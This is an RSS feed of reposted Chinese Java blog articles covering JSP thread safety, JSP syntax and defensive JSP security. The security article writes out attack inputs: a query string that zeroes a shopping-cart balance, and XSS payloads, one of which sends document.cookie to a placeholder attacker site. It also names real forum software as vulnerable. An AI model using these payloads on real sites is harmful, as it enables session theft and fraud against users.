是不可变的，无法对其置零）。<br><br><strong>六、线程安全初探</strong><br><br>&#8220;JAVA能做的，JSP就能做&#8221;。与ASP、PHP等脚本语言不一样，JSP默认是以多线程方式执行的。以多线程方式执行可大大降低对系统的资源需求，提高系统的并发量及响应时间。线程在程序中是独立的、并发的执行路径，每个线程有它自己的堆栈、自己的程序计数器和自己的局部变量。虽然多线程应用程序中的大多数操作都可以并行进行，但也有某些操作（如更新全局标志或处理共享文件）不能并行进行。如果没做好线程的同步，在大并发量访问时，不需要恶意用户的&#8220;热心参与&#8221;，问题也会出现。最简单的解决方案就是在相关的JSP文件中加上: &lt;%@ page isThreadSafe="false" %&gt;指令，使它以单线程方式执行，这时，所有客户端的请求以串行方式执行。这样会严重降低系统的性能。我们可以仍让JSP文件以多线程方式执行，通过对函数上锁来对线程进行同步。一个函数加上synchronized 关键字就获得了一个锁。看下面的示例：<br><br><ccid_nobr>
                        <table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
                            <tbody>
                                <tr>
                                    <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>
                                    <pre><ccid_code>
                                    public class MyClass{
                                    int a;
                                    public Init() {//此方法可以多个线程同时调用
                                    a = 0;
                                    }
                                    public synchronized void Set() {//两个线程不能同时调用此方法
                                    if(a&gt;5) {
                                    a= a-5;
                                    }
                                    }
                                    }</ccid_code></pre>
                                    </td>
                                </tr>
                            </tbody>
                        </table>
                        </ccid_nobr><br><br>但是这样仍然会对系统的性能有一定影响。一个更好的方案是采用局部变量代替实例变量。因为实例变量是在堆中分配的，被属于该实例的所有线程共享，不是线程安全的，而局部变量在堆栈中分配，因为每个线程都有它自己的堆栈空间，所以这样线程就是安全的了。比如凌云论坛中添加好友的代码：<br><br><ccid_nobr>
                        <table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
                            <tbody>
                                <tr>
                                    <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>
                                    <pre><ccid_code>
                                    public void addFriend(int i, String s, String s1)
                                    throws DBConnectException
                                    {
                                    try
                                    {
                                    if&#8230;&#8230;
                                    else
                                    {
                                    DBConnect dbconnect = new DBConnect("insert into friend (authorid,friendname) values (?,?)");
                                    dbconnect.setInt(1, i);
                                    dbconnect.setString(2, s);
                                    dbconnect.executeUpdate();
                                    dbconnect.close();
                                    dbconnect = null;
                                    }
                                    }
                                    catch(Exception exception)
                                    {
                                    throw new DBConnectException(exception.getMessage());
                                    }
                                    }</ccid_code></pre>
                                    </td>
                                </tr>
                            </tbody>
                        </table>
                        </ccid_nobr><br><br>下面是调用：<br><br><ccid_nobr>
                        <table cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
                            <tbody>
                                <tr>
                                    <td class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6>
                                    <pre><ccid_code>
                                    friendName=ParameterUtils.getString(request,"friendname");
                                    if(action.equals("adduser")) {
                                    forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
                                    errorInfo=forumFriend.getErrorInfo();
                                    }</ccid_code></pre>
                                    </td>
                                </tr>
                            </tbody>
                        </table>
                        </ccid_nobr><br><br>如果采用的是实例变量，那么该实例变量属于该实例的所有线程共享，就有可能出现用户A传递了某个参数后他的线程转为睡眠状态，而参数被用户B无意间修改，造成好友错配的现象。<br><br><strong>参考文献：</strong><br><br>Jordan Dimov：《JSP Security》<br>developerWorks：《Java安全性》<br>徐春金：编写线程安全的JSP程序</p>
                        </td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
    </tbody>
</table>
<img src ="http://www.blogjava.net/xixidabao/aggbug/69025.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xixidabao/" target="_blank">JAVA之路</a> 2006-09-11 20:47 <a href="http://www.blogjava.net/xixidabao/archive/2006/09/11/69025.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JSP安全编程实例浅析(中级)1</title><link>http://www.blogjava.net/xixidabao/archive/2006/09/11/69022.html</link><dc:creator>JAVA之路</dc:creator><author>JAVA之路</author><pubDate>Mon, 11 Sep 2006 12:33:00 GMT</pubDate><guid>http://www.blogjava.net/xixidabao/archive/2006/09/11/69022.html</guid><description><![CDATA[
		<table cellspacing="0" cellpadding="0" width="760" align="center" border="0">
				<tbody>
						<tr>
								<td class="title" valign="center" align="middle" height="56">
										<b>
												<font color="#ff0000" size="3">JSP安全编程实例浅析(中级)1<!-- #EndEditable --></font>
										</b>
								</td>
						</tr>
						<tr>
								<td class="formtitle" align="middle" height="40">
										<!-- #BeginEditable "2" -->&lt;转载&gt;作者：Stone_Star<!-- #EndEditable --></td>
						</tr>
				</tbody>
		</table>
		<table height="65" cellspacing="0" cellpadding="0" width="760" align="center" border="0">
				<tbody>
						<tr>
								<td class="content" height="65">
										<!-- #BeginEditable "3" -->
										<p>
												<span class="myp111">
														<font id="zoom">Java Server Page（JSP）作为建立动态网页的技术正在不断升温。JSP和ASP、PHP、工作机制不太一样。一般说来，JSP页面在执行时是编译式，而不是解释式的。首次调用JSP文件其实是执行一个编译为Servlet的过程。当浏览器向服务器请求这一个JSP文件的时候，服务器将检查自上次编译后JSP文件是否有改变，如果没有改变，就直接执行Servlet，而不用再重新编译，这样，效率便得到了明显提高。<br /><br />今天我将和大家一起从脚本编程的角度看JSP的安全，那些诸如源码暴露类的安全隐患就不在这篇文章讨论范围之内了。写这篇文章的主要目的是给初学JSP编程的朋友们提个醒，从一开始就要培养安全编程的意识，不要犯不该犯的错误，避免可以避免的损失。另外，我也是初学者，如有错误或其它意见请赐教。<br /><br /><b>一、认证不严——低级失误</b><br /><br />在溢洋论坛v1.12 修正版中，user_manager.jsp是用户管理的页面，作者知道它的敏感性，加上了一把锁：<br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6"><pre><ccid_code>
if ((session.getValue("UserName")==null)││(session.getValue("UserClass")==null)││
(! session.getValue("UserClass").equals("系统管理员"))) 
{ 
response.sendRedirect("err.jsp?id=14"); 
return; 
}</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br />如果要查看、修改某用户的信息，就要用modifyuser_manager.jsp这个文件。管理员提交 <a href="http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51">http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51</a><br /><br />就是查看、修改ID为51的用户的资料（管理员默认的用户ID为51）。但是，如此重要的文件竟缺乏认证，普通用户（包括游客）也直接提交上述请求也可以对其一览无余（密码也是明文存储、显示的）。modifyuser_manage.jsp同样是门户大开，直到恶意用户把数据更新的操作执行完毕，重定向到user_manager.jsp的时候，他才会看见那个姗姗来迟的显示错误的页面。显然，只锁一扇门是远远不够的，编程的时候一定要不厌其烦地为每一个该加身份认证的地方加上身份认证。<br /><br /><b>二、守好JavaBean的入口</b><br /><br />JSP组件技术的核心是被称为bean的java组件。在程序中可把逻辑控制、数据库操作放在javabeans组件中，然后在JSP文件中调用它，这样可增加程序的清晰度及程序的可重用性。和传统的ASP或PHP页面相比，JSP页面是非常简洁的，因为许多动态页面处理过程可以封装到JavaBean中。<br /><br />要改变JavaBean属性，要用到“<?xml:namespace prefix = jsp /?><jsp:setproperty> ”标记。 下面的代码是假想的某电子购物系统的源码的一部分，这个文件是用来显示用户的购物框中的信息的，而checkout.jsp是用来结帐的。<br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6"><pre><ccid_code>
&lt;jsp:useBean id="myBasket" class="BasketBean"&gt; 
&lt;jsp:setProperty name="myBasket" property="*"/&gt; 
&lt;jsp:useBean&gt; 
&lt;html&gt; 
&lt;head&gt;&lt;title&gt;Your Basket&lt;/title&gt;&lt;/head&gt; 
&lt;body&gt; 
&lt;p&gt; 
You have added the item 
&lt;jsp::getProperty name="myBasket" property="newItem"/&gt; 
to your basket.   
&lt;br/&gt; 
Your total is $ 
&lt;jsp::getProperty name="myBasket" property="balance"/&gt; 
Proceed to &lt;a href="checkout.jsp"&gt;checkout&lt;/a&gt;</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br />注意到property="*"了吗？这表明用户在可见的JSP页面中输入的，或是直接通过Query String提交的全部变量的值，将存储到匹配的bean属性中。<br /><br />一般，用户是这样提交请求的： http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342 但是不守规矩的用户呢？他们可能会提交： http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&amp;balance=0<br /><br />这样，balance=0的信息就被在存储到了JavaBean中了。当他们这时点击“chekout”结账的时候，费用就全免了。<br /><br />这与PHP中全局变量导致的安全问题如出一辙。由此可见：“property="*"”一定要慎用！<br /><br /><b>三、长盛不衰的跨站脚本</b><br /><br />跨站脚本（Cross Site Scripting）攻击是指在远程WEB页面的HTML代码中手插入恶意的JavaScript, VBScript, ActiveX, HTML, 或Flash等脚本，窃取浏览此页面的用户的隐私，改变用户的设置，破坏用户的数据。跨站脚本攻击在多数情况下不会对服务器和WEB程序的运行造成影响，但对客户端的安全构成严重的威胁。<br /><br />以仿动网的阿菜论坛（beta-1）举个最简单的例子。当我们提交 http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser&lt;;script&gt;alert(document.cookie) 便能弹出包含自己cookie信息的对话框。而提交 http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser&lt;;script&gt;document.location='http://www.163.com' 就能重定向到网易。<br /><br />由于在返回“name”变量的值给客户端时，脚本没有进行任何编码或过滤恶意代码，当用户访问嵌入恶意“name”变量数据链接时，会导致脚本代码在用户浏览器上执行，可能导致用户隐私泄露等后果。比如下面的链接：<br />http://www.somesite.com/acjspbbs/dispuser.jsp? name=someuser&lt;;script&gt;document.location=' http://www.hackersite.com/xxx.xxx?'+document.cookie <br /><br />xxx.xxx用于收集后边跟的参数，而这里参数指定的是document.cookie，也就是访问此链接的用户的cookie。在ASP世界中，很多人已经把偷cookie的技术练得炉火纯青了。在JSP里，读取cookie也不是难事。当然，跨站脚本从来就不会局限于偷cookie这一项功能，相信大家都有一定了解，这里就不展开了。<br /><br />对所有动态页面的输入和输出都应进行编码，可以在很大程度上避免跨站脚本的攻击。遗憾的是，对所有不可信数据编码是资源密集型的工作，会对 Web 服务器产生性能方面的影响。常用的手段还是进行输入数据的过滤，比如下面的代码就把危险的字符进行替换：<br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6"><pre><ccid_code>
&lt;% String message = request.getParameter("message"); 
message = message.replace ('&lt;','_'); 
message = message.replace ('&gt;','_'); 
message = message.replace ('"','_'); 
message = message.replace ('\'','_'); 
message = message.replace ('%','_'); 
message = message.replace (';','_'); 
message = message.replace ('(','_'); 
message = message.replace (')','_'); 
message = message.replace ('&amp;','_'); 
message = message.replace ('+','_'); %&gt;</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br />更积极的方式是利用正则表达式只允许输入指定的字符：<br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6"><pre><ccid_code>
public boolean isValidInput(String str) 
{ 
if(str.matches("[a-z0-9]+")) return true; 
else return false; 
}</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /></jsp:setproperty></font>
												</span>
										</p>
										<p>　<!-- #EndEditable --></p>
										<p>
										</p>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.blogjava.net/xixidabao/aggbug/69022.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xixidabao/" target="_blank">JAVA之路</a> 2006-09-11 20:33 <a href="http://www.blogjava.net/xixidabao/archive/2006/09/11/69022.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Servlet及JSP中的多线程同步问题</title><link>http://www.blogjava.net/xixidabao/archive/2006/06/18/53635.html</link><dc:creator>JAVA之路</dc:creator><author>JAVA之路</author><pubDate>Sun, 18 Jun 2006 13:04:00 GMT</pubDate><guid>http://www.blogjava.net/xixidabao/archive/2006/06/18/53635.html</guid><description><![CDATA[
		<p>
		</p>
		<table cellspacing="0" cellpadding="0" width="760" align="center" border="0">
				<tbody>
						<tr>
								<td class="title" valign="center" align="middle" height="56">
										<b>Servlet及JSP中的多线程同步问题</b>
								</td>
						</tr>
						<tr>
								<td class="formtitle" align="middle" height="40">作者：srx81 发文时间：2003.08.25 15:14:25 来 源： Java研究组织(JavaResearch)</td>
						</tr>
				</tbody>
		</table>
		<table height="65" cellspacing="0" cellpadding="0" width="760" align="center" border="0">
				<tbody>
						<tr>
								<td class="content" height="65">
										<div>
												<span class="myp11">
														<font id="zoom">　　Servlet/JSP技术和ASP、PHP等相比，由于其多线程运行而具有很高的执行效率。由于Servlet/JSP默认是以多线程模式执行的，所以，在编写代码时需要非常细致地考虑多线程的同步问题。然而，很多人编写Servlet/JSP程序时并没有注意到多线程同步的问题，这往往造成编写的程序在少量用户访问时没有任何问题，而在并发用户上升到一定值时，就会经常出现一些莫明其妙的问题，对于这类随机性的问题调试难度也很大。 <br /><br />　　<b>一、在Servlet/JSP中的几种变量类型</b><br /><br />　　在编写Servlet/JSP程序时，对实例变量一定要小心使用。因为实例变量是非线程安全的。在Servlet/JSP中，变量可以归为下面的几类： <br /><br />　　<b>1. 类变量</b><br /><br />　　request，response，session，config，application，以及JSP页面内置的page, pageContext。其中除了application外，其它都是线程安全的。 <br /><br />　　<b>2. 实例变量</b><br /><br />　　实例变量是实例所有的，在堆中分配。在Servlet/JSP容器中，一般仅实例化一个Servlet/JSP实例，启动多个该实例的线程来处理请求。而实例变量是该实例所有的线程所共享，所以，实例变量不是线程安全的。 <br /><br />　　<b>3. 局部变量</b><br /><br />　　局部变量在堆栈中分配，因为每一个线程有自己的执行堆栈，所以，局部变量是线程安全的。 <br /><br />　　<b>二、在Servlet/JSP中的多线程同步问题</b><br /><br />　　在JSP中，使用实例变量要特别谨慎。首先请看下面的代码： <br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="540" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" bgcolor="#e6e6e6"><pre><ccid_code>// instanceconcurrenttest.jsp
&lt;%@ page contentType="text/html;charset=GBK" %&gt;
&lt;%!	
    //定义实例变量	
    String username;	
    String password;
    java.io.PrintWriter output;
%&gt;
&lt;%	
    //从request中获取参数
    username = request.getParameter("username");
    password = request.getParameter("password");
    output = response.getWriter();
    showUserInfo();	
 %&gt;
 &lt;%!	
    public void showUserInfo() {		
       //为了突出并发问题，在这儿首先执行一个费时操作		
       int i =0;		
       double sum = 0.0;		
       while (i++ &lt; 200000000) {
             sum += i;		
       }				
       
       output.println(Thread.currentThread().getName() + "&lt;br&gt;");
       output.println("username:" + username + "&lt;br&gt;");	
       output.println("password:" + password + "&lt;br&gt;");	
    }
 %&gt;</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br />　　在这个页面中，首先定义了两个实例变量，username和password。然后在从request中获取这两个参数，并调用showUserInfo()方法将请求用户的信息回显在该客户的浏览器上。在一个用户访问是，不存在问题。但在多个用户并发访问时，就会出现其它用户的信息显示在另外一些用户的浏览器上的问题。这是一个严重的问题。为了突出并发问题，便于测试、观察，我们在回显用户信息时执行了一个模拟的费时操作，比如，下面的两个用户同时访问（可以启动两个IE浏览器，或者在两台机器上同时访问）： <br /><br />a： http://localhost:8080/instanceconcurrenttest.jsp?username=a&amp;password=123 <br /><br />b： http://localhost:8080/instanceconcurrenttest.jsp?username=b&amp;password=456 <br /><br />如果a点击链接后，b再点击链接，那么，a将返回一个空白屏幕，b则得到a以及b两个线程的输出。请看下面的屏幕截图： <br /><br /><center><img src="http://tech.ccidnet.com/pub/attachment/2003/8/251056.gif" /><br /><br />图1：a的屏幕</center><br /><br /><center><img src="http://tech.ccidnet.com/pub/attachment/2003/8/251057.gif" /><br /><br />图2：b的屏幕</center><br /><br />　　从运行结果的截图上可以看到，Web服务器启动了两个线程分别来处理来自a和b的请求，但是在a却得到一个空白的屏幕。这是因为上面程序中的output, username和password都是实例变量，是所有线程共享的。在a访问该页面后，将output设置为a的输出，username,password分别置为a的信息，而在a执行printUserInfo()输出username和password信息前，b又访问了该页面，把username和password置为了b的信息，并把输出output指向到了b。随后a的线程打印时，就打印到了b的屏幕了，并且，a的用户名和密码也被b的取代。请参加下图所示： <br /><br /><center><img src="http://tech.ccidnet.com/pub/attachment/2003/8/251058.gif" /><br /><br />图3：a、b两个线程的时间线</center><br /><br />　　而实际程序中，由于设置实例变量，使用实例变量这两个时间点非常接近，所以，像本例的同步问题并没有这么突出，可能会偶尔出现，但这却更加具有危险性，也更加难于调试。 <br /><br />　　同样，对于Servlet也存在实例变量的多线程问题，请看上面页面的Servlet版： <br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="540" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" bgcolor="#e6e6e6"><pre><ccid_code>// InstanceConcurrentTest.java
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.PrintWriter;
public class InstanceConcurrentTest extends HttpServlet
 {	
      String username;	
      String password;	
      PrintWriter out;	
      public void doGet(HttpServletRequest request, 
       HttpServletResponse response)          
       throws ServletException,java.io.IOException	
       {		
           //从request中获取参数		
	   username = request.getParameter("username");
	   password = request.getParameter("password");	
	   System.out.println(Thread.currentThread().getName() +
	    " | set username:" + username);
	   out = response.getWriter();	
	   showUserInfo();		
       }	
       public void showUserInfo() {		
           //为了突出并发问题，在这儿首先执行一个费时操作		
	   int i =0;		
	   double sum = 0.0;		
	   while (i++ &lt; 200000000) {	
	     sum += i;		
	   }		
	   out.println("thread:" + Thread.currentThread().getName());
	   out.println("username:"+ username);	
	   out.println("password:" + password);	
	}
}</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br />　　<b>三、解决方案</b><br /><br />　　<b>1. 以单线程运行Servlet/JSP</b><br /><br />　　在JSP中，通过设置：&lt;%@ page isThreadSafe="false" %&gt;，在Servlet中，通过实现javax.servlet.SingleThreadModel，此时Web容器将保证JSP或Servlet实例以单线程方式运行。 <br /><br />　　重要提示：在测试中发现，Tomcat 4.1.17不能正确支持isThreadSafe属性，所以，指定isTheadSafe为false后，在Tomcat 4.1.17中仍然出现多线程问题，这是Tomcat 4.1.17的Bug。在Tomcat 3.3.1和Resin 2.1.5中测试通过。 <br /><br />　　<b>2. 去除实例变量，通过参数传递</b><br /><br />　　从上面的分析可见，应该在Servlet/JSP中尽量避免使用实例变量。比如，下面的修正代码，去除了实例变量，通过定义局部变量，并参数进行传递。这样，由于局部变量是在线程的堆栈中进行分配的，所以是线程安全的。不会出现多线程同步的问题。代码如下： <br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="540" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" bgcolor="#e6e6e6"><pre><ccid_code>&lt;%@ page contentType="text/html;charset=GBK" %&gt;
&lt;%	
    //使用局部变量
    String username;
    String password;
    java.io.PrintWriter output;
    //从request中获取参数
    username = request.getParameter("username");
    password = request.getParameter("password");
    output = response.getWriter();
    showUserInfo(output, username, password);
%&gt;
&lt;%!	
    public void showUserInfo(java.io.PrintWriter _output,
     String _username, String _password) {
    //为了突出并发问题，在这儿首先执行一个费时操作
      int i =0;	
      double sum = 0.0;	
      while (i++ &lt; 200000000) {	
        sum += i;		
      }				
      _output.println(Thread.currentThread().getName() + "&lt;br&gt;");
      _output.println("username:" + _username + "&lt;br&gt;");
      _output.println("password:" + _password + "&lt;br&gt;");
      }
%&gt;</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br />注：有的资料上指出在printUserInfo()方法或者实例变量的相关操作语句上使用synchronized关键字进行同步，但这样并不能解决多线程的问题。因为，这样虽然可以使对实例变量的操作代码进行同步，但并不能阻止一个线程使用另外一个线程修改后的“脏的”实例变量。所以，除了降低运行效率外，不会起到预期效果。 </font>
												</span>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.blogjava.net/xixidabao/aggbug/53635.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xixidabao/" target="_blank">JAVA之路</a> 2006-06-18 21:04 <a href="http://www.blogjava.net/xixidabao/archive/2006/06/18/53635.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JSP 语法最详解</title><link>http://www.blogjava.net/xixidabao/archive/2006/05/10/45557.html</link><dc:creator>JAVA之路</dc:creator><author>JAVA之路</author><pubDate>Wed, 10 May 2006 14:51:00 GMT</pubDate><guid>http://www.blogjava.net/xixidabao/archive/2006/05/10/45557.html</guid><description><![CDATA[
		<strong>HTML 注释 </strong>
		<br />
		<br />在客户端显示一个注释. <br /><br />JSP 语法<br />&lt;!-- comment [ &lt;%= expression %&gt; ] --&gt; <br />例子 1<br />&lt;!-- This file displays the user login screen --&gt; <br />在客户端的HTML源代码中产生和上面一样的数据： <br /><br />&lt;!-- This file displays the user login screen --&gt; <br />例子 2<br />&lt;!-- This page was loaded on &lt;%= (new java.util.Date()).toLocaleString() %&gt; --&gt; <br />在客户端的HTML源代码中显示为: <br /><br />&lt;!-- This page was loaded on January 1, 2000 --&gt; <br />描述<br />这种注释和HTML中很像，也就是它可以在"查看源代码\"中看到. <br /><br />唯一有些不同的就是，你可以在这个注释中用表达式（例子2所示).这个表达示是不定的，由页面不同而不同，你能够使用各种表达式，只要是合法的就行。更多的请看表达式<br /><br /><br /><br /><strong>隐藏注释 </strong><br /><br /><br />写在JSP程序中，但不是发给客户。 <br /><br />JSP 语法<br />&lt;%-- comment --%&gt; <br />例子：<br /><blockquote><font size="-1">CODE:</font><hr /><pre><br />&lt;%@ page language="java" %&gt; <br />&lt;html&gt; <br />&lt;head&gt;&lt;title&gt;A Comment Test&lt;/title&gt;&lt;/head&gt; <br />&lt;body&gt; <br />&lt;h2&gt;A Test of Comments&lt;/h2&gt; <br />&lt;%-- This comment will not be visible in the page source --%&gt; <br />&lt;/body&gt; <br />&lt;/html&gt; <br /></pre><hr /></blockquote><br />描述<br />用隐藏注释标记的字符会在JSP编译时被忽略掉。这个注释在你希望隐藏或注释你的JSP程序时是很有用的。JSP编译器不是会对&lt;%--and--%&gt;之间的语句进行编译的，它不会显示在客户的浏览器中，也不会在源代码中看到 <br /><br /><strong>声明 </strong><br /><br /><br />在JSP程序中声明合法的变量和方法 <br /><br />JSP 语法<br />&lt;%! declaration; [ declaration; ]+ ... %&gt; <br />例子<br />&lt;%! int i = 0; %&gt; <br />&lt;%! int a, b, c; %&gt; <br />&lt;%! Circle a = new Circle(2.0); %&gt; <br />描述<br />声明你将要在JSP程序中用到的变量和方法。你也必须这样做，不然会出错. <br /><br />你可以一次性声明多个变量和方法，只要以";"结尾就行，当然这些声明在Java中要是合法的。 <br /><br />当你声明方法或变量时，请注意以下的一些规则: <br /><br />声明必须以";"结尾(Scriptlet有同样的规则，但是 表达式就不同了). <br />你可以直接使用在&lt;% @ page %&gt;中被包含进来的已经声明的变量和方法，不需要对它们重新进行声明. <br />一个声明仅在一个页面中有效。如果你想每个页面都用到一些声明，最好把它们写成一个单独的文件，然后用&lt;%@ include %&gt;或&lt;jsp:include &gt;元素包含进来。 <br /><br /><br /><strong>表达式 </strong><br /><br /><br />包含一个符合JSP语法的表达式 <br /><br />JSP 语法<br />&lt;%= expression %&gt; <br />例子<br />&lt;font color="blue"&gt;&lt;%= map.size() %&gt;&lt;/font&gt; <br />&lt;b&gt;&lt;%= numguess.getHint() %&gt;&lt;/b&gt;. <br />描述<br />表达式元素表示的是一个在脚本语言中被定义的表达式，在运行后被自动转化为字符串，然后插入到这个表达示在JSP文件的位置显示。因为这个表达式的值已经被转化为字符串，所以你能在一行文本中插入这个表达式（形式和ASP完全一样). <br /><br />当你在JSP中使用表达式时请记住以下几点： <br /><br />你不能用一个分号（"；"）来作为表达式的结束符.但是同样的表达式用在scriptlet中就需要以分号来结尾了！查看Scriptlet <br />这个表达式元素能够包括任何在Java Language Specification中有效的表达式. <br />有时候表达式也能做为其它JSP元素的属性值.一个表达式能够变得很复杂，它可能由一个或多个表达式组成，这些表达式的顺序是从左到右。 <br /><br /><br />[/b]Scriptlet [/b]<br /><br /><br />包含一个有效的程序段. <br /><br />JSP 语法<br />&lt;% code fragment %&gt; <br />例子<br />&lt;% <br />String name = null; <br />if (request.getParameter("name") == null) { <br />%&gt; <br />&lt;%@ include file="error.html" %&gt; <br />&lt;% <br />} else { <br />foo.setName(request.getParameter("name")); <br />if (foo.getName().equalsIgnoreCase("integra")) <br />name = "acura"; <br />if (name.equalsIgnoreCase( "acura" )) { <br />%&gt; <br />描述<br />一个scriptlet能够包含多个jsp语句，方法，变量，表达式 <br /><br />因为scriptlet,我们便能做以下的事: <br /><br />声明将要用到的变量或方法（参考 声明). <br />编写JSP表达式（参考 表达式). <br />使用任何隐含的对象和任何用&lt;jsp:useBean&gt;声明过的对象 <br />编写JSP语句 (如果你在使用Java语言，这些语句必须遵从Java Language Specification,). <br />任何文本，HTML标记，JSP元素必须在scriptlet之外 <br />当JSP收到客户的请求时，scriptlet就会被执行，如果scriptlet有显示的内容，这些显示的内容就被存在out对象中。 <br /><br /><br /><strong>Include 指令</strong><br /><br /><br />在JSP中包含一个静态的文件，同时解析这个文件中的JSP语句. <br /><br />JSP 语法<br />&lt;%@ include file="relativeURL" %&gt; <br />例子<br />include.jsp: <br /><blockquote><font size="-1">CODE:</font><hr /><pre><br />&lt;html&gt; <br />&lt;head&gt;&lt;title&gt;An Include Test&lt;/title&gt;&lt;/head&gt; <br />&lt;body bgcolor="white"&gt; <br />&lt;font color="blue"&gt; <br />The current date and time are <br />&lt;%@ include file="date.jsp" %&gt; <br />&lt;/font&gt; <br />&lt;/body&gt; <br />&lt;/html&gt; <br /></pre><hr /></blockquote><br />date.jsp:<br /><blockquote><font size="-1">CODE:</font><hr /><pre> <br />&lt;%@ page import="java.util.*" %&gt; <br />&lt;%= (new java.util.Date() ).toLocaleString() %&gt; <br /></pre><hr /></blockquote><br />Displays in the page: <br />The current date and time are <br />Aug 30, 1999 2:38:40 <br /><br />描述<br />&lt;%@include %&gt;指令将会在JSP编译时插入一个包含文本或代码的文件，当你使用&lt;%@ include %&gt;指命时，这个包含的过程就当是静态的。静态的包含就是指这个被包含的文件将会被插入到JSP文件中去，这个包含的文件可以是JSP文件，HTML文件，文本文件。如果包含的是JSP文件，这个包含的JSP的文件中代码将会被执行。 <br /><br />如果你仅仅只是用include 来包含一个静态文件。那么这个包含的文件所执行的结果将会插入到JSP文件中放&lt;% @ include %&gt;的地方。一旦包含文件被执行，那么主JSP文件的过程将会被恢复，继续执行下一行. <br /><br />这个被包含文件可以是html文件，jsp文件，文本文件，或者只是一段Java代码，但是你得注意在这个包含文件中不能使用&lt;html&gt;,&lt;/html&gt;,&lt;body&gt;,&lt;/body&gt;标记，因为这将会影响在原JSP文件中同样的标记 ，这样做有时会导致错误. <br /><br />有一些&lt;%@ include %&gt;指命的行为是以特殊的JSP编译条件为基础，比如： <br /><br />这个被包含的文件必须对所有客户都有开放且必须f有效，或者它有安全限制 <br />如果这个包含文件被改变，包含此文件的JSP文件将被重新编译 <br />属性:<br />file="relativeURL"<br />这个包含文件的路径名一般来说是指相对路径，不需要什么端口，协议，和域名，如下: <br /><br />"error.jsp""templates/onlinestore.html""/beans/calendar.jsp" <br /><br />如果这个路径以"/"开头，那么这个路径主要是参照JSP应用的上下关系路径，如果路径是以文件名或目录名开头，那么这个路径就是正在使用的JSP文件的当前路径.<br /><br /><br /><strong>Page 指令</strong><br /><br /><br />定义JSP文件中的全局属性. <br /><br />JSP 语法<br />&lt;%@ page <br />[ language="java" ] <br />[ extends="package.class" ] <br />[ import="{package.class | package.*}, ..." ] <br />[ session="true | false" ] <br />[ buffer="none | 8kb | sizekb" ] <br />[ autoFlush="true | false" ] <br />[ isThreadSafe="true | false" ] <br />[ info="text" ] <br />[ errorPage="relativeURL" ] <br />[ contentType="mimeType [ ;charset=characterSet ]" | "text/html ; charset=ISO-8859-1" ] <br />[ isErrorPage="true | false" ] <br />%&gt; <br />例子<br />&lt;%@ page import="java.util.*, java.lang.*" %&gt; <br />&lt;%@ page buffer="5kb" autoFlush="false" %&gt; <br />&lt;%@ page errorPage="error.jsp" %&gt; <br />描述<br />&lt;%@ page %&gt;指令作用于整个JSP页面，同样包括静态的包含文件。但是&lt;% @ page %&gt;指令不能作用于动态的包含文件，比如 &lt;jsp:include&gt; <br /><br />你可以在一个页面中用上多个&lt;% @ page %&gt;指令，但是其中的属性只能用一次，不过也有个例外，那就是import属性。因为import属性和Java中的import语句差不多(参照Java Language)，所以你就能多用此属性几次了. <br /><br />无论你把&lt;% @ page %&gt;指令放在JSP的文件的哪个地方，它的作用范围都是整个JSP页面。不过，为了JSP程序的可读性，以及好的编程习惯，最好还是把它放在JSP文件的顶部. <br /><br />属性<br />language="java"<br />声明脚本语言的种类，暂时只能用"java" <br /><br />extends="package.class"<br />标明JSP编译时需要加入的Java Class的全名，但是得慎重的使用它，它会限制JSP的编译能力. 